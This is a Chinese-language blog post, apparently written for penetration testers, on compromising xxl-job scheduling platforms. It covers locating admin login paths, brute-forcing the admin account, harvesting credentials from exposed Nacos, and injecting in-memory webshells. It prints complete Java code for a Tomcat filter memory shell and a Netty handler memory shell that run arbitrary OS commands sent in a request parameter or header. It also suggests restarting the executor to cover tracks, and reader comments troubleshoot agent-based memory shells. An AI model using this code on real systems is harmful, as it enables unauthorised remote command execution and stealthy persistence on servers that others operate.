xxl-job
xxl-job 是一个分布式任务调度平台,将任务调度这一行为抽象为调度中心平台,也就是分成了调度平台和执行器。近些时间感觉xxl-job的利用和实战莫名其妙多起来了,所以来学习一下xxl-job的利用
调度中心路径
暴露在外网的一般是调度中心,执行器一般都开在内网或者单机仅限127.0.0.1访问的情况。而xxl-job必须路径正确才能访问到后台,这个路径可以在application.properties文件里面修改
我常见的路径有:
/toLogin /xxl-job-admin/toLogin /xxljob/toLogin /jobManage/toLogin
平时看见奇奇怪怪的路径就放到自己的指纹库里,说不定哪天就遇到了
路径正确后还需要正确密码才能访问后台,账号一般是admin,爆破无限制
可以尝试找nacos,然后去找是否存在xxl-job,nacos里面很大概率会存账号密码,这两个系统经常联用,而nacos的未授权很少有人会修
xxl-job的漏洞存在于后台的定时任务,这个功能可以使你在执行器上执行任意命令。当然在前台也存在老版本的未授权反序列化,在执行器上存在未授权和默认token漏洞,但实战较少
调度平台内存马
适用于调度平台和执行器在一台机器上的情况,原理是写一个agent内存马的jar到本地,再打agent内存马到调度平台的进程上,注意不是执行器的进程
注入代码:agent内存马
执行器内存马
tomcat内存马
适用于你能访问到执行器的情况,执行器的web接口使用的是netty,但他还存在一个web服务是基于spring的,默认端口为8081,对应配置文件在BOOT-INF/classes/application.properties
,正常来说是开启的。
作者原文地址:xxl-job-executor注入filter内存马
原理还是tomcat那一套,比较麻烦的是如何拿到StandardContext
。原作者测试环境为2.3.0,我在2.2.0上测试时发现有些格式和函数不同,如默认logger函数不同,execute函数固定返回类型必须为ReturnT<String>
作者原版代码
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Constructor; import java.util.ArrayList; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import com.xxl.job.core.context.XxlJobHelper; import com.xxl.job.core.handler.IJobHandler; public class DemoGlueJobHandler extends IJobHandler { public Object getField(Object obj, String fieldName){ try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); obj = field.get(obj); } catch (IllegalAccessException e) { XxlJobHelper.log(e.toString()); return null; } catch (NoSuchFieldException e) { XxlJobHelper.log(e.toString()); return null; } return obj; } public Object getSuperClassField(Object obj, String fieldName){ try { Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName); field.setAccessible(true); obj = field.get(obj); } catch (IllegalAccessException e) { XxlJobHelper.log(e.toString()); return null; } catch (NoSuchFieldException e) { XxlJobHelper.log(e.toString()); return null; } return obj; } public void execute() throws Exception { Object obj = null; String port = ""; String filterName = "xxl-job-filter"; // 1.创建filter Filter filter = new Filter() { public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null) { // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过 ArrayList<String> cmdList = new ArrayList<>(); String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { cmdList.add("cmd.exe"); cmdList.add("/c"); } else { cmdList.add("/bin/bash"); cmdList.add("-c"); } cmdList.add(req.getParameter("cmd")); String[] cmds = cmdList.toArray(new String[0]); Process process = new ProcessBuilder(cmds).start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8")); String line; while ((line = reader.readLine()) != null) { servletResponse.getWriter().println(line); } process.destroy(); return; } filterChain.doFilter(servletRequest, servletResponse); } public void destroy() { } }; //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); //3. 创建一个filterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //4. 创建ApplicationFilterConfig构造函数 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); //5. 找StandardContext /*获取group*/ Thread currentThread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(currentThread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); for (Thread thread : threads) { String threadName = thread.getName(); /*获取tomcat container*/ if (threadName.contains("container")) { /*获取this$0*/ obj = getField(thread, "this\$0"); if (port == "") { continue; } else { break; } } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) { /*获取web端口,可在log中查看,默认8081端口*/ port = threadName.substring(9, threadName.length() - 13); if (obj == null){ continue; } else { break; } } } obj = getField(obj, "tomcat"); obj = getField(obj, "server"); org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services"); for (org.apache.catalina.Service service : services){ try { obj = getField(service, "engine"); if (obj != null) { HashMap children = (HashMap)getSuperClassField(obj, "children"); // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况 obj = children.get("localhost"); children = (HashMap)getSuperClassField(obj, "children"); // 获取StandardContext StandardContext standardContext = (StandardContext) children.get(""); standardContext.addFilterDef(filterDef); // 将FilterDefs 添加到FilterConfig Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs"); // 添加ApplicationFilterConfig ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(filterName,filterConfig); //将自定义的filter放到最前边执行 standardContext.addFilterMapBefore(filterMap); XxlJobHelper.log("success! memshell port:"+port); } } catch (Exception e){ XxlJobHelper.log(e.toString()); continue; } } } }
简易修改版
package com.xxl.job.service.handler; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Constructor; import java.util.ArrayList; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import com.xxl.job.core.log.XxlJobLogger; import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.biz.model.ReturnT; public class DemoGlueJobHandler extends IJobHandler { public Object getField(Object obj, String fieldName){ try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); obj = field.get(obj); } catch (IllegalAccessException e) { XxlJobLogger.log(e.toString()); return null; } catch (NoSuchFieldException e) { XxlJobLogger.log(e.toString()); return null; } return obj; } public Object getSuperClassField(Object obj, String fieldName){ try { Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName); field.setAccessible(true); obj = field.get(obj); } catch (IllegalAccessException e) { XxlJobLogger.log(e.toString()); return null; } catch (NoSuchFieldException e) { XxlJobLogger.log(e.toString()); return null; } return obj; } @Override public ReturnT<String> execute(String param) throws Exception { Object obj = null; String port = ""; String filterName = "xxl-job-filter"; // 1.创建filter Filter filter = new Filter() { public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null) { // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过 ArrayList<String> cmdList = new ArrayList<>(); String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { cmdList.add("cmd.exe"); cmdList.add("/c"); } else { cmdList.add("/bin/bash"); cmdList.add("-c"); } cmdList.add(req.getParameter("cmd")); String[] cmds = cmdList.toArray(new String[0]); Process process = new ProcessBuilder(cmds).start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8")); String line; while ((line = reader.readLine()) != null) { servletResponse.getWriter().println(line); } process.destroy(); return; } filterChain.doFilter(servletRequest, servletResponse); } public void destroy() { } }; //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); //3. 创建一个filterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //4. 创建ApplicationFilterConfig构造函数 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); //5. 找StandardContext /*获取group*/ Thread currentThread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(currentThread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); for (Thread thread : threads) { String threadName = thread.getName(); /*获取tomcat container*/ if (threadName.contains("container")) { /*获取this$0*/ obj = getField(thread, "this\$0"); if (port == "") { continue; } else { break; } } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) { /*获取web端口,可在log中查看,默认8081端口*/ port = threadName.substring(9, threadName.length() - 13); if (obj == null){ continue; } else { break; } } } obj = getField(obj, "tomcat"); obj = getField(obj, "server"); org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services"); for (org.apache.catalina.Service service : services){ try { obj = getField(service, "engine"); if (obj != null) { HashMap children = (HashMap)getSuperClassField(obj, "children"); // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况 obj = children.get("localhost"); children = (HashMap)getSuperClassField(obj, "children"); // 获取StandardContext StandardContext standardContext = (StandardContext) children.get(""); standardContext.addFilterDef(filterDef); // 将FilterDefs 添加到FilterConfig Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs"); // 添加ApplicationFilterConfig ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(filterName,filterConfig); //将自定义的filter放到最前边执行 standardContext.addFilterMapBefore(filterMap); XxlJobLogger.log("success! memshell port:"+port); } } catch (Exception e){ XxlJobLogger.log(e.toString()); continue; } } return ReturnT.SUCCESS; } }
然后访问执行器8081端口即可
netty内存马
执行器的默认端口是一个netty服务,当然也可以打内存马进去,方式就是遍历线程,找到NioEventLoop,替换一个handler进去
注入简单cmd内存马
package com.xxl.job.service.handler; import io.netty.buffer.Unpooled; import io.netty.channel.*; import io.netty.channel.socket.SocketChannel; import io.netty.handler.codec.http.*; import io.netty.handler.timeout.IdleStateHandler; import io.netty.util.CharsetUtil; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashSet; import java.util.concurrent.TimeUnit; import com.xxl.job.core.log.XxlJobLogger; import com.xxl.job.core.biz.model.ReturnT; import com.xxl.job.core.handler.IJobHandler; public class DemoGlueJobHandler extends IJobHandler { @ChannelHandler.Sharable public class NettyThreadHandler extends ChannelDuplexHandler{ @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { HttpRequest httpRequest = (HttpRequest)msg; if(httpRequest.headers().contains("X-CMD")) { String cmd = httpRequest.headers().get("X-CMD"); String execResult = ""; ArrayList<String> cmdList = new ArrayList<>(); String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { cmdList.add("cmd.exe"); cmdList.add("/c"); } else { cmdList.add("/bin/bash"); cmdList.add("-c"); } cmdList.add(cmd); String[] cmds = cmdList.toArray(new String[0]); Process process = new ProcessBuilder(cmds).start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8")); String line; while ((line = reader.readLine()) != null) { execResult =execResult+line; } process.destroy(); // 返回执行结果 send(ctx, execResult, HttpResponseStatus.OK); }else { ctx.fireChannelRead(msg); } } private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) { FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8)); response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } } public ReturnT<String> execute(String param) throws Exception{ XxlJobLogger.log("XXL-JOB, Hello World."); try{ ThreadGroup group = Thread.currentThread().getThreadGroup(); Field threads = group.getClass().getDeclaredField("threads"); threads.setAccessible(true); Thread[] allThreads = (Thread[]) threads.get(group); for (Thread thread : allThreads) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) { try { Object target; try { target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor"); } catch (Exception e) { continue; } // NioEventLoop if (target.getClass().getName().endsWith("NioEventLoop")) { XxlJobLogger.log("NioEventLoop find"); HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); if (!set.isEmpty()) { Object keys = set.toArray()[0]; // pipeline Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); // 替换 handler Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); // 设置初始化 setFieldValue(aggregator, "childHandler", new ChannelInitializer<SocketChannel>() { @Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle .addLast(new HttpServerCodec()) .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL .addLast(new NettyThreadHandler()); } }); XxlJobLogger.log("ok?"); break; } } } catch (Exception ignored) { XxlJobLogger.log(ignored.toString()) } } } }catch (Exception e){ XxlJobLogger.log(e.toString()) } return ReturnT.SUCCESS; } public Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null){ field = getField(clazz.getSuperclass(), fieldName); } } return field; } public Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } }
踩的坑有groovy里的$
需要被转义,不然val$eventExecutor
会等价于eventExecutor
。注册的handler必须加上@ChannelHandler.Sharable
标签,否则会执行器会报错崩溃
最终效果如下:
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器
Comments | 4 条评论
师傅你好,按照https://www.kitsch.life/wp-content/uploads/files/Agent%E5%86%85%E5%AD%98%E9%A9%AC.txt这里面的代码注入agent内存马之后怎么连接呢?试了下https://github.com/veo/vagent的链接: 以 /faviconb 结尾,密码:自定义加解密协议没成功
@2411124745 首先这个agent只能应用在admin和执行器在同一机器上的情况,如执行器为127.0.0.1:9999,如果没成功可以先去看一下agent是否落地,是否成功加载进入内存。你的连接方式是没有问题的,没成功只能按我说的自行排查了
师傅你好,我是用windows复现的,测试是生成了一个xxl-jobs.jar,但是运行这个jar包注入不成功。
然后用https://github.com/veo/vagent里的jar手动执行能注入成功,能问下这个base64怎么用jar包生成的嘛,我把vagent.jar用python转化为base64之后运行代码一直报错:解压缩时发生了数据格式错误,具体是因为头部检查不正确。报错:
java.lang.RuntimeException: java.util.zip.DataFormatException: incorrect header check at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance
@2411124745 那个base64就是agent jar本身,既然生成了xxl-jobs.jar,你可以先分析一下agent jar的原理,再判断你是哪里报错。建议用linux环境复现